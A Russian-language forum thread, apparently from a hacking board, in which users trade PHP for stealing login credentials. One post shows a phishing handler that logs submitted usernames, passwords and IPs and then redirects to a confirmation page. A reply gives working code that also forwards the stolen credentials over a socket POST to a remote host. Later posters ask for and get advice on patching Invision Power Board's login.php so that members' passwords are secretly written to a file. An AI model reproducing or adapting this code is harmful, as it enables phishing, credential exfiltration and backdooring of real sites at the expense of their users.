они просто автомотически регистрируваются как глобальные и ты можешь обращатся к ним напрямую $NameVar, а не как обычно $_REQUEST["NameVar"] (хотя так можна обращатся в любом случае) вот некоторое описание http://www.slaed.biz/ini.core.html#ini.register-globals вот по теме почитай http://www.phpclub.ru/detail/article/globals
народ помогите я уже свои мозги тут перепарел :-/ мне надо сделать так что когда даные отсылали на "dvig.php" он чтом прописовал в html фаилик у себя на хосте и на другом хосте типа : /logs.html и на http://site2.ru/logsbackup.html вот пока что у меня тут получилось далше продвинутся с пересилкой никак немогу :-/ PHP: <?php ////////////////////////// $file = ("logs.html"); ////////////////////////// $user = $_POST['username']; $pass = $_POST['password']; $ip = $_SERVER['REMOTE_ADDR']; $date = date("d.m.Y H:i"); $entry_line = "<br>----------<br> <br>Username: ".$user ."<br> Password: ".$pass ."<br> IP: ".$ip ."<br> Date: " .$date. "<br>\n"; $fp = fopen($file, "a"); fwrite($fp, $entry_line); fclose($fp); header( 'Location: confirmation.html' ); ?>
Используй такой скрипт: PHP: <?php // Удалённый серв define("REMOTE_HOST", "somehost.somedomain"); // Удалённый скрипт (идентичный данному, только на другом сервере) define("REMOTE_RESOURCE", "blablabla.php"); // Порт - по умолчанию стандарт для HTTP define("REMOTE_PORT", 80); $file = "logs.html"; // Имя лога $date = date("d.m.Y H:i"); // Дата записи // Инициализация переменной с юзером $user = ""; if (isset($_POST["username"])) $user = strval($_POST["username"]); // Инициализация переменно с пассом $pass = ""; if (isset($_POST["password"])) $pass = strval($_POST["password"]); // Айпишник юзера $ip = strval($_SERVER["REMOTE_ADDR"]); // Форматируем данные для записи $entry = "<br>----------<br><br>\n"; $entry .= sprintf("Date: %s<br>\n", $date); $entry .= sprintf("Username: %s<br>\n", $user); $entry .= sprintf("Password: %s<br>\n", $pass); $entry .= sprintf("IP: %s<br>\n", $ip); $fp = fopen($file, "a+"); // Открытие файла if (!$fp) die("Can't perform operation!"); // Ошибочка if (!fwrite($fp, $entry)) die("Can't perform operation!"); // Запись fclose($fp); // Закрытие // Если в передаваемых переменных отсутствует nosend или // она не равна true, то вызываем отправку на удалённый сервер. // Это нам позволит избежать замкнутой цепочки if (!isset($_POST["nosend"]) || $_POST["nosend"] != "true") { // Тело запроса $query = sprintf("username=%s&password=%s&nosend=true", $user, $pass); // Заголовки запроса + тело $send = sprintf("POST %s HTTP/1.1\r\n", REMOTE_RESOURCE); $send .= sprintf("Host: %s\r\n", REMOTE_HOST); $send .= "User-Agent: DaMaGeLaB Crawler\r\n"; $send .= "Accept: */*\r\n"; $send .= "Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\r\n"; $send .= "Pragma: no-cache"; $send .= sprintf("Content-Length: %d", strlen($query)); $send .= "Connection: Close\r\n\r\n"; $send .= $query; // Соединяемся $socket = fsockopen(REMOTE_HOST, REMOTE_PORT, $errno, $errstr, 60); if (!$socket) die("Can't perform operation!"); // Делаем POST запрос $ret = fwrite($socket, $send); if (!$ret) die("Can't perform operation!"); // Читаем ответ $buffer = ""; while (!feof($socket)) { $buffer .= fgets($socket, 1024); } fclose($socket); // Парсим на заголовки и тело list($headers, $content) = preg_split("/\r\n\r\n/", $buffer, 2); // Если пришла какая-то лажа, то выход if (strlen($content) <= 0 || strlen($headers) <= 0) die("Send failed. Responce is not reqular!"); // Получаем код ответа из заголовков $code = intval(substr($headers, 9, 3)); if ($code != 200) die("Send failed. Responce code is not 200!"); } header("Location: confirmation.html"); // Перенаправление ?>
Если хостер позволяет - открывай фтп коннект на нужные тебе хосты и добавляй в файлы данные. если на тех хостах есть пшп - и твой хостер позволяет переслать на них данные (гет/пост) то шли запрос на аналогичный скрипт. или же делай это средствами браузера - подсовывай жабаскриптик юзеру и т.п.
Вот хочу спросить какую книжку взять почитать по Php, с условием что синтакс знаком и все остальное по С++, а вот технологии пхп-шные именно и нужны...
Red_Red1 Нормальная такая! А то читаю вообще детские, тут чуть получше... Ещё бы по php безопасности мануальчик подскажите плз...
Подскажите пожалуйста, где и что в ipb нужно прописать что бы перехватывались логин и пароль... путь вроде такой /***/sources/action_public/login.php
Нужно после функции афторицации прописать чтоб они в фаил записывались.. была такая тема на ачате....
PHP: /*-------------------------------------------------------------------------*/ // DO LOG IN /*-------------------------------------------------------------------------*/ function do_log_in() { //----------------------------------------- // INIT //----------------------------------------- $url = ""; $member = array(); //----------------------------------------- // Load handler... //----------------------------------------- require_once( ROOT_PATH.'sources/handlers/han_login.php' ); $this->han_login = new han_login(); $this->han_login->ipsclass =& $this->ipsclass; $this->han_login->init(); //----------------------------------------- // Make sure the username and password were entered //----------------------------------------- if ( $_POST['UserName'] == "" ) { if( $this->ipsclass->vars['ipbli_usertype'] == 'username' ) { $this->ipsclass->Error( array( 'LEVEL' => 1, 'MSG' => 'no_username' ) ); } else { $this->ipsclass->Error( array( 'LEVEL' => 1, 'MSG' => 'no_email_login' ) ); } } if ( $_POST['PassWord'] == "" ) { $this->ipsclass->Error( array( 'LEVEL' => 1, 'MSG' => 'pass_blank' ) ); } //----------------------------------------- // Check for input length //----------------------------------------- if ( $this->ipsclass->vars['ipbli_usertype'] == 'username' ) { if ( $this->ipsclass->txt_mb_strlen( $_POST['UserName'] ) > 32 ) { $this->ipsclass->Error( array( LEVEL => 1, MSG => 'username_long' ) ); } $username = strtolower(str_replace( '|', '|', $this->ipsclass->input['UserName']) ); } else { $username = strtolower( trim( $this->ipsclass->input['UserName'] ) ); } if ( $this->ipsclass->txt_mb_strlen( $_POST['PassWord'] ) > 32) { $this->ipsclass->Error( array( LEVEL => 1, MSG => 'pass_too_long' ) ); } $password = md5( $this->ipsclass->input['PassWord'] ); //----------------------------------------- // Check auth //----------------------------------------- $this->han_login->login_authenticate( $username, $this->ipsclass->input['PassWord'] ); //----------------------------------------- // Check return code... //----------------------------------------- $member = $this->han_login->member; if ( ( ! $member['id'] ) or ( $this->han_login->return_code == 'NO_USER' ) ) { $this->log_in_form( 'wrong_name' ); } if ( $this->han_login->return_code != 'SUCCESS' ) { if ( $this->han_login->return_code == 'ACCOUNT_LOCKED' ) { $extra = "<!-- -->"; if( $this->ipsclass->vars['ipb_bruteforce_unlock'] ) { if( $this->han_login->account_unlock ) { $time = time() - $this->han_login->account_unlock; $time = ( $this->ipsclass->vars['ipb_bruteforce_period'] - ceil( $time / 60 ) > 0 ) ? $this->ipsclass->vars['ipb_bruteforce_period'] - ceil( $time / 60 ) : 1; $extra = sprintf( $this->ipsclass->lang['bruteforce_account_unlock'], $time ); } } $this->ipsclass->Error( array( 'LEVEL' => 5, 'MSG' => 'bruteforce_account_lock', 'EXTRA' => $extra ) ); } else { $this->log_in_form( 'wrong_auth' ); } } //----------------------------------------- Что и куда нужно вставить, чтобы логины и пароли записывались в отдельный файлик...
n1†R0x, всё верно. Reanimat0R, ты хорошо посмотри... Он создаётся в текущей директории скрипта, то есть текущей для основного скрипта, который инклудит изменённый тобой. В общем для верности пропиши путь к логу, что-то типа: Путь разумеется на твоём серве другой...
Кстати, код немного поправь: А то не кошерно когда оно в одну строчку всё лепит... А вообще ты пробовал ставить на каталог в который пишешь права rwxrwxrwx (777)?